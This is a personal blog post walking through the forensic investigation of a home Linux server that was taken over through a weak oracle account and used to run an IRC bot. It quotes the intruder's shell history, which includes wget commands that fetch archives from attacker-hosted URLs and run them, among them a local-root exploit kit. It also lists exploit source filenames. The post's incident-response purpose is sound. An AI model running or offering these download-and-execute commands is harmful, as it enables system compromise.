Rootkitted: A Simple Forensics Walk Through
I was rootkitted. It's the first time it's happened to me at home. It was my own fault for using password auth for shell access and having a weak oracle user password. I first noticed a problem when my winamp wouldn't post "now playing" songs to my website. Then I went to examine my website and it had been completely deleted by the rootkit!!
Thank god I had a backup from just a few days earlier. I immediately took the machine off the internet. Sadly, I had to let it sit for a few days until I had time to do forensics on it. In a way, this is kind of exciting stuff. I'd always mentioned to Guild that I'd like to be hacked at home. Though I wish the cracker had conformed to my hobbiest home server schedule. I also have no respect for the vandals that deleted my webpage folder. Using me as a high bandwidth zombie server would have been more sophisticated and wouldn't have tipped me off to the rootkit.
Generally, it's a good idea to run a safe copy of chkrootkit against the system. Chkrootkit gave a false positive about 'bindshell' on TCP 465 because I'm using smtp over ssl on that port. Chkrootkit otherwise didn't find the problem. So, no stock rootkits
Next, I used debsums to compare md5sums of files to their packaged originals. Kind of a poor man's tripwire. Aside from a few custom compiled things that I replaced stock debian binaries there was nothing obvious on the system. So, no trojaned binaries.
So, what the hell is going on? Let's check runtime stuff.
styx:~# lsof -i [...] lsof: no pwd entry for UID 1021 inetd 23579 1021 1u IPv4 49092678 TCP 24.237.5.141:48641->undernet.irc.rcn.net:ircd (SYN_SENT) lsof: no pwd entry for UID 1021 inetd 23579 1021 2u IPv4 49092680 TCP 24.237.5.141:48643->oslo1.no.eu.undernet.org:ircd (SYN_SENT) [...] styx:~# ps -eff [...] #1021 23579 1 0 Mar14 ? 00:09:55 ./inetd [...] |
CRAP! There is a foreign inetd running that is connected to some euro IRC net. But it wasn't a trojaned binary!? So where the hell is the copy of inetd that the cracker ran from a PWD on my system?
When I make backups of my system I take md5 sums. This gives me a nice catalog to compare files to. You can see from the ps -eff output above that this program has been running since Mar 14. It's Apr 18th. So the hostile has been here for more than a month. So, I've been kindly backing up his rootkits. But to my advantage, now I can just look for it in my catalog.
styx:/mnt/backup# grep inetd md5sums.txt 5e9dd320d3c7fd6fbec3a81a85788002 */var/tmp/.asdqw/inetd |
This cracker put some things into /var/tmp/.asdqw/. I looked around. Thankfully none of the "seen" files had any of my info in them.
styx:/var/tmp/.asdqw# ls -l total 1541 -rw-r--r-- 1 1021 matt 504618 Apr 16 14:00 Ftp.seen -rw-r--r-- 1 1021 matt 206 Mar 20 08:19 LinkEvents -rw-r--r-- 1 1021 matt 504638 Apr 16 15:50 Wget.seen -rwxrwxrwx 1 1021 matt 504464 Feb 10 11:29 inetd -rw-r--r-- 1 1021 matt 22936 Feb 10 11:29 kswap.help -rw-r--r-- 1 1021 matt 1085 Apr 18 08:00 kswap.levels -rw------- 1 1021 matt 6 Mar 14 07:19 kswap.pid -rw-r--r-- 1 1021 matt 1044 Apr 18 08:00 kswap.session -rw-r--r-- 1 1021 matt 1700 Mar 12 11:10 kswap.set -rw-r--r-- 1 1021 matt 91 Apr 16 15:00 mech1.users -rw-r--r-- 1 1021 matt 91 Apr 16 14:00 mech2.users drwxr-xr-x 2 1021 matt 304 Mar 14 07:19 randfiles |
So it should be relatively obvious that this bot integrates with an IRC server. Here's more indication from the inetd binary
styx:/var/tmp/.asdqw# strings inetd [...] I'm not on %s Cant fucking open %s init: Warning: This nick sux: %s Put me on some channels first punk Lists could not be saved to file %s I'm not opped on %s you asshole [...] |
Ok, lsof said no UID 1021. The cracker used some kind of fake or temp user. Check for users and groups.
styx:/var/tmp/.asdqw# cat /etc/passwd| grep 1021 styx:/var/tmp/.asdqw# cat /etc/group | grep 1021 matt:x:1021: styx:/var/tmp/.asdqw# cat /etc/passwd | grep matt |
How the hell did they get in? They logged in as my poorly protected oracle account (damnit!). Then I'm guessing they somehow setup this "matt" account then reconnected. This implies they had root or cracked equiv. They fired off some processes and deleted the matt account.
styx:/var/tmp/.asdqw# last jim pts/2 192.168.0.119 Mon Apr 18 09:08 - 09:08 (00:00) jim pts/2 192.168.0.119 Sat Apr 16 13:40 - 13:41 (00:00) jim pts/1 192.168.0.119 Sat Apr 16 13:32 still logged in jim pts/0 192.168.0.119 Sat Apr 16 13:29 still logged in jim pts/0 192.168.0.119 Sat Apr 16 11:47 - 11:48 (00:00) jim pts/0 192.168.0.119 Thu Apr 14 18:56 - 19:00 (00:04) oracle pts/0 81.242.212.87 Sat Apr 9 02:16 - 02:16 (00:00) root pts/1 24.237.1.207 Tue Apr 5 10:55 - 11:27 (00:31) jim pts/0 192.168.0.119 Mon Apr 4 20:36 - 11:27 (14:51) jim pts/2 24.237.1.207 Sun Apr 3 22:45 - 12:23 (13:37) jim pts/1 24.237.1.207 Sun Apr 3 16:17 - 23:21 (07:04) jim pts/1 24.237.1.207 Sun Apr 3 00:14 - 13:11 (11:57) jim pts/0 24.237.1.207 Sat Apr 2 22:51 - 12:23 (1+12:31) jim pts/0 24.237.1.207 Sat Apr 2 17:30 - 17:37 (00:06) oracle pts/0 81.241.195.231 Sat Apr 2 09:13 - 09:17 (00:03) jim pts/0 24.237.1.207 Thu Mar 31 12:49 - 13:05 (00:15) oracle pts/0 81.241.192.125 Wed Mar 30 09:28 - 09:28 (00:00) root pts/0 137.229.187.59 Wed Mar 30 08:41 - 08:42 (00:00) root pts/0 24.237.1.207 Tue Mar 29 21:27 - 23:04 (01:36) jim pts/1 24.237.1.207 Tue Mar 29 19:20 - 19:20 (00:00) root pts/0 24.237.1.207 Tue Mar 29 19:14 - 19:22 (00:08) jim pts/0 24.237.1.207 Tue Mar 29 18:42 - 19:11 (00:28) root pts/1 137.229.187.59 Tue Mar 29 09:14 - 09:35 (00:20) jim pts/3 192.168.0.110 Mon Mar 28 18:37 - 20:48 (02:11) root pts/2 24.237.1.207 Mon Mar 28 16:43 - 16:54 (1+00:11) root pts/1 137.229.187.59 Mon Mar 28 15:53 - 07:33 (15:39) root pts/0 24.237.1.207 Mon Mar 28 12:15 - 16:54 (1+04:38) jim pts/0 192.168.0.120 Sun Mar 27 20:06 - 20:18 (00:12) oracle pts/1 81.242.248.154 Sun Mar 27 01:00 - 01:01 (00:01) jim pts/0 192.168.0.119 Fri Mar 25 22:20 - 10:34 (1+12:13) jim pts/0 192.168.0.119 Fri Mar 25 22:15 - 22:16 (00:01) jim pts/0 24.237.1.207 Fri Mar 25 07:31 - 07:35 (00:03) jim pts/0 24.237.1.207 Wed Mar 23 20:29 - 20:31 (00:02) root pts/0 137.229.187.59 Wed Mar 23 16:43 - 16:54 (00:10) jim pts/3 137.229.187.59 Wed Mar 23 16:22 - 16:29 (00:06) jim pts/0 137.229.187.59 Wed Mar 23 16:20 - 16:29 (00:09) root pts/0 137.229.187.59 Wed Mar 23 16:16 - 16:16 (00:00) root pts/0 137.229.187.59 Wed Mar 23 16:15 - 16:16 (00:00) root pts/0 137.229.187.59 Wed Mar 23 16:15 - 16:15 (00:00) jim pts/4 137.229.173.65 Wed Mar 23 13:52 - 13:52 (00:00) root pts/3 24.237.1.207 Wed Mar 23 12:45 - 14:59 (02:13) root pts/0 24.237.1.207 Wed Mar 23 12:28 - 14:59 (02:30) root pts/7 24.237.1.207 Tue Mar 22 21:09 - 23:37 (02:28) root pts/6 24.237.1.207 Tue Mar 22 21:08 - 23:37 (02:29) jim pts/5 24.237.1.207 Tue Mar 22 20:30 - 23:03 (02:32) jim pts/4 24.237.1.207 Tue Mar 22 19:58 - 22:28 (02:30) jim pts/3 24.237.1.207 Tue Mar 22 19:56 - 22:20 (02:24) jim pts/0 192.168.0.110 Tue Mar 22 19:43 - 22:04 (02:20) jim pts/0 137.229.187.59 Mon Mar 21 09:52 - 10:15 (00:22) jim pts/3 137.229.156.207 Mon Mar 21 07:45 - 07:49 (00:04) jim pts/1 24.237.1.207 Sat Mar 19 15:08 - 18:06 (4+02:58) root pts/2 24.237.1.207 Sat Mar 19 09:41 - 18:06 (4+08:25) root pts/1 24.237.1.207 Fri Mar 18 22:32 - 15:08 (16:36) jim pts/2 24.237.1.207 Fri Mar 18 22:14 - 22:21 (00:07) jim pts/1 24.237.1.207 Fri Mar 18 22:04 - 22:25 (00:20) jim pts/2 192.168.0.119 Fri Mar 18 17:42 - 20:22 (02:39) jim pts/1 192.168.0.119 Fri Mar 18 12:22 - 17:41 (05:19) oracle pts/2 81.242.226.172 Fri Mar 18 12:09 - 12:11 (00:01) matt pts/2 81.242.226.172 Fri Mar 18 12:08 - 12:09 (00:00) jim pts/1 192.168.0.119 Fri Mar 18 12:07 - 12:22 (00:14) root pts/4 137.229.156.207 Thu Mar 17 11:40 - 11:40 (00:00) jim pts/3 137.229.156.207 Thu Mar 17 10:37 - 15:06 (04:28) oracle pts/3 81.242.224.72 Thu Mar 17 07:11 - 07:13 (00:01) matt pts/3 81.242.224.72 Thu Mar 17 07:11 - 07:11 (00:00) jim pts/2 24.237.1.207 Tue Mar 15 21:40 - 12:05 (2+14:25) jim pts/4 137.229.170.92 Mon Mar 14 12:27 - 13:07 (00:40) jim pts/3 137.229.170.92 Mon Mar 14 12:12 - 14:24 (02:11) jim pts/2 137.229.170.92 Mon Mar 14 12:01 - 14:05 (02:04) oracle pts/4 69.93.62.186 Mon Mar 14 07:19 - 07:19 (00:00) matt pts/3 81.242.221.68 Mon Mar 14 07:18 - 07:22 (00:04) matt pts/2 69.93.62.186 Mon Mar 14 07:17 - 07:19 (00:02) root pts/0 24.237.1.207 Sun Mar 13 23:00 - 18:32 (19:31) |
Ok, so somebody logged in as matt right after logging in as oracle. Seems Mr. Cracker found a way to make a user account. I'd like to know how, but likely won't find out.
Here are most of the commands they ran as oracle user. Basically, they scoped out the users, programs and services. Tried a couple of different rootkits
w ps x cd /var/tmp/.asdqw ./inetd exit w cd /var/tmp;wget http://lam3rs.webcindario.com/apache.zip unzip apache.zip rm -rf apache.zip cd apache chmod 777 apache;./apache exit lsnrctl stop exit w id ps x ps aux exit passwd exit w uname -a cd /vartmp;ls cd /var/tmp;ls cd apache ls rm -rf apache wget http://Hooligam.sytes.net/Hooligam/lg.tar.gz tar zxvf lg.tar.gz tar xvf lg.tar cd ... ./root ./r00t cd .. ls rm -rf ... exit w ps x cd /var/tmp;wget http://lam3rs.webcindario.com/apache.zip;unzip apache.zip;cd apache;chmod 777 apache;./apache rm -rf apache rm -rf apache.zi exit passwd exit |
If you read that closely you noticed they put some other things (apache.zip, ...) in /var/tmp. Apache.zip isn't really apache. It's an IRC bot. The '...' folder is a custom copy of the apache webserver. Also note a funked up folder called '...'. This is all in addition to the /var/tmp/.asdqw directory that contained the dirty inetd daemon.
styx:/var/tmp# cd apache styx:/var/tmp/apache# ls -l total 2140 -rw-r--r-- 1 10004 users 34700 Sep 26 2003 CHANGES -rw-r--r-- 1 10004 users 17982 Mar 25 2001 COPYING -rw-r--r-- 1 10004 users 3560 Jul 25 2003 FAQ -rw-r--r-- 1 10004 users 2137 Sep 26 2003 Makefile -rw-r--r-- 1 10004 users 35624 Jul 26 2003 README -rw-r--r-- 1 10004 users 15738 Jul 15 2001 SCRIPTING -rw-r--r-- 1 10004 users 1618 Sep 26 2003 TODO -rw-r--r-- 1 10004 users 916 Nov 9 2003 config.h drwxr-xr-x 2 10004 users 7872 Apr 9 02:16 help drwxr-xr-x 2 10004 users 168 Apr 9 02:16 lang -rw-r--r-- 1 10004 users 1413120 Sep 20 2004 lg.tar -rw-r--r-- 1 10004 users 598226 Apr 2 08:58 lg.tar.gz drwxr-xr-x 2 10004 users 72 Apr 9 02:16 log -rw-r--r-- 1 10004 users 731 Nov 9 2003 makefile.out -rw-r--r-- 1 10004 users 14090 Nov 9 2003 makesalt drwxr-xr-x 3 10004 users 360 Apr 9 02:16 menuconf drwxr-xr-x 2 10004 users 72 Apr 9 02:16 motd -rw-r--r-- 1 10004 users 101 Nov 9 2003 psybnc.conf -rw-r--r-- 1 10004 users 369 Aug 8 2000 psybncchk -rw-r--r-- 1 10004 users 1249 Nov 9 2003 salt.h drwxr-xr-x 3 10004 users 96 Apr 9 02:16 scripts -rw-r--r-- 1 10004 users 3901 Jan 12 2002 targets.mak drwxr-xr-x 2 10004 users 576 Apr 9 02:16 tools styx:/var/tmp/apache# cd .. styx:/var/tmp/...# cd ... styx:/var/tmp/...# ls -l total 160 -rw-rw-rw- 1 cvs cvs 14652 Apr 25 2002 73501867.c -rwxrwxrwx 1 cvs cvs 15082 Jul 3 2004 77 -rwxrwxrwx 1 cvs cvs 10622 Jul 3 2004 85 -rw-rw-rw- 1 cvs cvs 7636 Nov 21 2003 85mod_gzip.c -rw-rw-rw- 1 cvs cvs 1511 Jul 27 2003 UHAGr-dialogx.c -rw-rw-rw- 1 cvs cvs 5567 Jan 8 2003 UHAGr-pr00t.c -rw-rw-rw- 1 cvs cvs 6593 Jan 8 2003 UHAGr-ptrace.c -rwxrwxrwx 1 cvs cvs 6296 Jul 2 2004 dia -rwxrwxrwx 1 cvs cvs 5137 Jul 3 2004 frs -rw-rw-rw- 1 cvs cvs 1674 Jun 21 2004 frstorex.c -rwxrwxrwx 1 cvs cvs 2648 Jul 3 2004 kk -rw-rw-rw- 1 cvs cvs 5181 Aug 3 2002 kstatpb.c -rwxrwxrwx 1 cvs cvs 20411 Jul 3 2004 mod -rw-rw-rw- 1 cvs cvs 12482 Jul 30 2003 modmyloex.c -rwxrwxrwx 1 cvs cvs 8634 Jul 2 2004 pw -rwxrwxrwx 1 cvs cvs 7651 Jul 2 2004 up |
What am I going to do about it?
- Clean out the rootkit. Including, folders and users.
- fix the oracle user. I'm done with my oracle project. I deleted the user.
- change all passwords
- Cross fingers. Hope I'm as smart as I think and that I really beat this thing.
What will I do to prevent it? What about minimizing risk of loss?
- Use only public key auth in lieu of password auth
- Clean up some other suspect holes; like mysql listening on net and webdav enabled in apache
- Keep backups for a little longer. So I want historical copies up to a year back. I also want to use incrementals so the history is pretty small.
- Have some read-only forensic tools tucked in a corner in case binaries are replaced.
This is the first problem I've had from intruders. I'm quite relieved to know that it was user error that caused the breech rather than software deficiency. That gives me a certain amount of faith in my system. I consider myself very lucky that this was kind of a half-assed rootkit. I'm also lucky that the cracker or botnet was really busy and didn't have time to mess with things for the month I was breached. I'm also lucky I had a very recent backup of my webpage. Conclusions? I was lucky.
I've included the packages the cracker used here for educational purposes.
James Conner suggests looking for kernel modules and auditing startup/init scripts from a knoppix boot.